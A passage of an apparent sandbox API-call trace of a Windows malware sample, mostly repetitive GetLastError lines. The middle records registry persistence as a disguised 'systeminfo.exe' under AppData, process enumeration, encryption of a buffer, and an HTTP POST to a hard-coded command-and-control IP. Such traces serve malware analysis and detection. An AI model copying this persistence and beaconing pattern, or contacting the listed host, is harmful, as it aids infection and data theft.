returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.571] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.572] GetLastError () returned 0x0 [0073.573] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x2f1fc28, lpdwBufferLength=0x2f1fc30, lpdwIndex=0x0 | out: lpBuffer=0x2f1fc28*, lpdwBufferLength=0x2f1fc30*=0x4, lpdwIndex=0x0) returned 1 [0073.573] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x406c38, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x406c38*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x94) returned 1 [0073.573] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x406ccc, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x406ccc*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x0) returned 1 [0073.573] GetCurrentProcessId () returned 0x81c [0073.573] GetCurrentProcessId () returned 0x81c [0073.573] lstrlenA (lpString="just string") returned 11 [0073.573] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0073.573] GetLastError () returned 0x0 [0073.573] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0073.573] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db768, Final=1, dwFlags=0x0, pbData=0x40ccf8, pdwDataLen=0x2f1fcfc | out: pbData=0x40ccf8, pdwDataLen=0x2f1fcfc) returned 1 [0073.573] CryptVerifySignatureW (hHash=0x3db768, pbSignature=0x406c38, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0073.575] CryptDestroyHash (hHash=0x3db768) returned 1 [0073.575] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.575] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0073.575] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.575] RegSetValueExW (in: hKey=0x464, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0073.575] RegCloseKey (hKey=0x464) returned 0x0 [0073.575] GetCurrentProcessId () returned 0x81c [0073.986] GetTickCount () returned 0x218cd [0073.986] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2f1faf8, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0073.986] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0073.986] GetCurrentProcessId () returned 0x81c [0073.986] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x464 [0073.988] lstrlenA (lpString="just string") returned 11 [0073.988] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0073.988] Process32FirstW (in: hSnapshot=0x464, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0073.989] GetLastError () returned 0x0 [0073.989] GetCurrentProcessId () returned 0x81c [0073.989] GetLastError () returned 0x0 [0073.989] wsprintfA (in: param_1=0x2f1f80b, param_2="%X%P" | out: param_1="70CADEP") returned 7 [0073.989] SetLastError (dwErrCode=0x0) [0073.989] GetCurrentProcessId () returned 0x81c [0074.004] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0074.004] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db768, Final=1, dwFlags=0x0, pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x246, dwBufLen=0x250 | out: pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x250) returned 1 [0074.004] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x2f1fbb4, pdwDataLen=0x2f1fc20 | out: pbData=0x2f1fbb4*, pdwDataLen=0x2f1fc20*=0x6c) returned 1 [0074.004] GetLastError () returned 0x0 [0074.004] CryptGetHashParam (in: hHash=0x3db768, dwParam=0x2, pbData=0x33b60a8, pdwDataLen=0x2f1fc20, dwFlags=0x0 | out: pbData=0x33b60a8, pdwDataLen=0x2f1fc20) returned 1 [0074.004] CryptDestroyHash (hHash=0x3db768) returned 1 [0074.004] GetLastError () returned 0x0 [0074.004] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x2f1fa28, cbSize=0x2f1fc28 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x2f1fc28) returned 0x0 [0074.004] GetLastError () returned 0x0 [0074.004] wsprintfA (in: param_1=0x2f1f993, param_2="%X%P" | out: param_1="712E20P") returned 7 [0074.004] SetLastError (dwErrCode=0x0) [0074.004] GetCurrentProcessId () returned 0x81c [0074.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f1fa28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0074.004] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.004] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.004] lstrlenA (lpString="just string") returned 11 [0074.004] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0074.004] GetLastError () returned 0x0 [0074.004] GetCurrentProcess () returned 0xffffffff [0074.004] GetLastError () returned 0x0 [0074.004] wsprintfA (in: param_1=0x2f1fb83, param_2="%X%P" | out: param_1="712E33P") returned 7 [0074.004] SetLastError (dwErrCode=0x0) [0074.004] GetCurrentProcessId () returned 0x81c [0074.004] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0074.006] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x33b6048*, dwOptionalLength=0x2c4 | out: lpOptional=0x33b6048*) returned 1 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.592] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.593] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.594] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.595] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.596] GetLastError () returned 0x0 [0074.597] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x2f1fce0, lpdwBufferLength=0x2f1fc38, lpdwIndex=0x0 | out: lpBuffer=0x2f1fce0*, lpdwBufferLength=0x2f1fc38*=0x4, lpdwIndex=0x0) returned 1 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.597] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.598] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.599] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] 